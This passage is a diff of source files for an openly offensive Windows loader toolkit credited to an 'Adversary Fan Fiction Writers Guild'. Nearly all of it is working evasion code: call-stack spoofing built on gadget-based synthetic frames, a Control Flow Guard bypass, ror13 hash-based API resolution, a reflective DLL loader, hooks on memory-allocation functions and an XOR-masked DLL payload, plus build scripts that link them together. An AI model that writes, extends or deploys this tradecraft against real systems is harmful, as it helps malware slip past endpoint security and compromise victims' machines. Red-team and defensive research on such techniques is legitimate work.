IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
|
||||
|
||||
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
|
||||
|
||||
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
|
||||
|
||||
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
|
||||
{
|
||||
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
|
||||
|
||||
if ( h == TEXT_HASH )
|
||||
{
|
||||
*virtual_address = section_header[ i ].VirtualAddress;
|
||||
*size = section_header[ i ].SizeOfRawData;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
|
||||
{
|
||||
UNWIND_INFO * unwind_info = NULL;
|
||||
ULONG unwind_operation = 0;
|
||||
ULONG operation_info = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frame_offset = 0;
|
||||
|
||||
STACK_FRAME stack_frame = { 0 };
|
||||
|
||||
if ( ! runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
|
||||
|
||||
while ( index < unwind_info->CountOfCodes )
|
||||
{
|
||||
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
|
||||
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if ( unwind_operation == UWOP_PUSH_NONVOL )
|
||||
{
|
||||
stack_frame.TotalStackSize += 8;
|
||||
|
||||
if ( operation_info == RBP_OP_INFO )
|
||||
{
|
||||
stack_frame.PushRbp = TRUE;
|
||||
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
|
||||
stack_frame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_NONVOL )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_SMALL )
|
||||
{
|
||||
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_LARGE )
|
||||
{
|
||||
index += 1;
|
||||
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
|
||||
|
||||
if (operation_info == 0)
|
||||
{
|
||||
frame_offset *= 8;
|
||||
}
|
||||
else
|
||||
{
|
||||
index += 1;
|
||||
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += frame_offset;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SET_FPREG )
|
||||
{
|
||||
stack_frame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_XMM128 )
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
|
||||
{
|
||||
index = unwind_info->CountOfCodes;
|
||||
|
||||
if ( 0 != ( index & 1 ) )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
|
||||
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += 8;
|
||||
return ( PVOID ) ( stack_frame.TotalStackSize );
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
|
||||
{
|
||||
RUNTIME_FUNCTION * runtime_function = NULL;
|
||||
DWORD64 image_base = 0;
|
||||
PUNWIND_HISTORY_TABLE history_table = NULL;
|
||||
|
||||
if ( ! return_address ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
|
||||
|
||||
if ( NULL == runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
PVOID find_gadget( PVOID module )
|
||||
{
|
||||
BOOL found_gadgets = FALSE;
|
||||
DWORD text_section_size = 0;
|
||||
DWORD text_section_va = 0;
|
||||
DWORD counter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG random = 0;
|
||||
PVOID module_text_section = NULL;
|
||||
|
||||
PVOID gadget_list [ 15 ] = { 0 };
|
||||
|
||||
if ( ! found_gadgets )
|
||||
{
|
||||
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
|
||||
|
||||
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
|
||||
{
|
||||
/* x64 opcodes are ff 23 */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
|
||||
{
|
||||
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
|
||||
counter++;
|
||||
|
||||
if ( counter == 15 ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
return gadget_list [ random ];
|
||||
}
|
||||
|
||||
ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID return_address = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugr_params = { 0 };
|
||||
|
||||
if ( ssn ) {
|
||||
draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn;
|
||||
}
|
||||
|
||||
SYNTHETIC_STACK_FRAME frame;
|
||||
init_frame_info ( &frame );
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
|
||||
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
|
||||
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.RtlUserThreadStartReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
|
||||
|
||||
attempts++;
|
||||
|
||||
if ( attempts > 15 ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
|
||||
|
||||
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
|
||||
}
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
|
||||
{
|
||||
/* very inelegant */
|
||||
if ( call->argc == 0 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 1 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 2 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 3 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 4 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 5 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 6 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 7 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 8 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 9 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
|
||||
} else if ( call->argc == 10 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
|
||||
} else if ( call->argc == 11 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
|
||||
} else if ( call->argc == 12 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
|
||||
} else {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#define spoof_arg(x) ( ULONG_PTR ) ( x )
|
||||
|
||||
typedef struct {
|
||||
PVOID ptr;
|
||||
DWORD ssn;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL;
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
|
||||
@@ -0,0 +1,102 @@
|
||||
/*
|
||||
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
// used by both the Pico Loader and DLL loader
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||
FARPROC __resolve_hook(DWORD funcHash);
|
||||
|
||||
/*
|
||||
* Structs used by our DLL loader
|
||||
*/
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
/*
|
||||
* utility functions
|
||||
*/
|
||||
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
||||
DWORD ror13hash(const char * c);
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
void dprintf(char * format, ...);
|
||||
|
||||
/*
|
||||
* PICO running functions
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||
HANDLE findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
*/
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst);
|
||||
void LoadSections(DLLDATA * dll, char * src, char * dst);
|
||||
void ParseDLL(char * src, DLLDATA * data);
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
|
||||
DWORD SizeOfDLL(DLLDATA * data);
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
*/
|
||||
#ifdef __MINGW32__
|
||||
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
@@ -0,0 +1,21 @@
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
NASM=nasm
|
||||
|
||||
all: bin/loader.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
|
||||
|
||||
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
@@ -0,0 +1,50 @@
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize +disco
|
||||
|
||||
# merge services
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
dfr "patch_resolve" "ror13"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
# merge hooks into the loader
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge call stack spoofing into the loader
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# load the stack spoofing assembly
|
||||
load "bin/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# hook functions that the loader uses
|
||||
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
push $DLL
|
||||
xor $MASK
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $MASK
|
||||
preplen
|
||||
link "mask"
|
||||
|
||||
# DLL Args from File
|
||||
load %ARGFILE
|
||||
preplen
|
||||
link "dll_args"
|
||||
|
||||
# now get the tradecraft as a PICO
|
||||
run "pico.spec"
|
||||
link "pico"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,36 @@
|
||||
x64:
|
||||
load "bin/pico.x64.o"
|
||||
make object +disco
|
||||
|
||||
# merge the hook functions
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge the call stack spoofing
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# merge the asm stub
|
||||
load "bin/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# merge cfg code
|
||||
load "bin/cfg.x64.o"
|
||||
merge
|
||||
|
||||
# merge cleanup
|
||||
load "bin/cleanup.x64.o"
|
||||
merge
|
||||
|
||||
# export setup_hooks and setup_memory
|
||||
exportfunc "setup_hooks" "__tag_setup_hooks"
|
||||
exportfunc "setup_memory" "__tag_setup_memory"
|
||||
|
||||
# hook functions in the DLL
|
||||
addhook "KERNEL32$GetProcAddress" "_GetProcAddress"
|
||||
addhook "KERNEL32$LoadLibraryW" "_LoadLibraryW"
|
||||
addhook "KERNEL32$ExitThread" "_ExitThread"
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,114 @@
|
||||
#include <windows.h>
|
||||
#include "cfg.h"
|
||||
|
||||
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
|
||||
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
|
||||
|
||||
typedef struct {
|
||||
ULONG ExtendedProcessInfo;
|
||||
ULONG ExtendedProcessInfoBuffer;
|
||||
} EXTENDED_PROCESS_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
ProcessUserModeIOPL = 16,
|
||||
ProcessCookie = 36
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumberOfOffsets;
|
||||
PULONG plOutput;
|
||||
PCFG_CALL_TARGET_INFO ptOffsets;
|
||||
PVOID pMustBeZero;
|
||||
PVOID pMoarZero;
|
||||
} VM_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
VmPrefetchInformation,
|
||||
VmPagePriorityInformation,
|
||||
VmCfgCallTargetInformation
|
||||
} VIRTUAL_MEMORY_INFORMATION_CLASS;
|
||||
|
||||
typedef struct {
|
||||
PVOID VirtualAddress;
|
||||
SIZE_T NumberOfBytes;
|
||||
} MEMORY_RANGE_ENTRY;
|
||||
|
||||
typedef enum {
|
||||
MemoryBasicInformation
|
||||
} MEMORY_INFORMATION_CLASS;
|
||||
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
|
||||
|
||||
BOOL cfg_enabled ( )
|
||||
{
|
||||
EXTENDED_PROCESS_INFORMATION proc_info = { 0 };
|
||||
|
||||
NTSTATUS status = 0;
|
||||
|
||||
proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
|
||||
proc_info.ExtendedProcessInfoBuffer = 0;
|
||||
|
||||
status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return proc_info.ExtendedProcessInfoBuffer;
|
||||
}
|
||||
|
||||
BOOL bypass_cfg ( PVOID address )
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
VM_INFORMATION vmi = { 0 };
|
||||
MEMORY_RANGE_ENTRY mre = { 0 };
|
||||
CFG_CALL_TARGET_INFO cti = { 0 };
|
||||
|
||||
NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress;
|
||||
cti.Flags = CFG_CALL_TARGET_VALID;
|
||||
|
||||
mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize;
|
||||
mre.VirtualAddress = ( PVOID ) mbi.BaseAddress;
|
||||
|
||||
ULONG output = 0;
|
||||
|
||||
vmi.dwNumberOfOffsets = 0x1;
|
||||
vmi.plOutput = &output;
|
||||
vmi.ptOffsets = &cti;
|
||||
vmi.pMustBeZero = 0x0;
|
||||
vmi.pMoarZero = 0x0;
|
||||
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) );
|
||||
|
||||
if ( status == 0xC00000F4 )
|
||||
{
|
||||
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 );
|
||||
}
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) )
|
||||
{
|
||||
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
|
||||
if ( status == 0xC0000045 )
|
||||
{
|
||||
/* pretend we bypassed it so timers can continue */
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
BOOL cfg_enabled ( );
|
||||
BOOL bypass_cfg ( PVOID address );
|
||||
@@ -0,0 +1,97 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "cfg.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
|
||||
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory )
|
||||
{
|
||||
/* is cfg enabled? */
|
||||
BOOL enabled = cfg_enabled ( );
|
||||
|
||||
if ( enabled ) {
|
||||
/* try to bypass it at NtContinue */
|
||||
if ( bypass_cfg ( NTDLL$NtContinue ) ) {
|
||||
enabled = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* just return if we
|
||||
* failed to bypass it
|
||||
*/
|
||||
|
||||
if ( enabled ) {
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
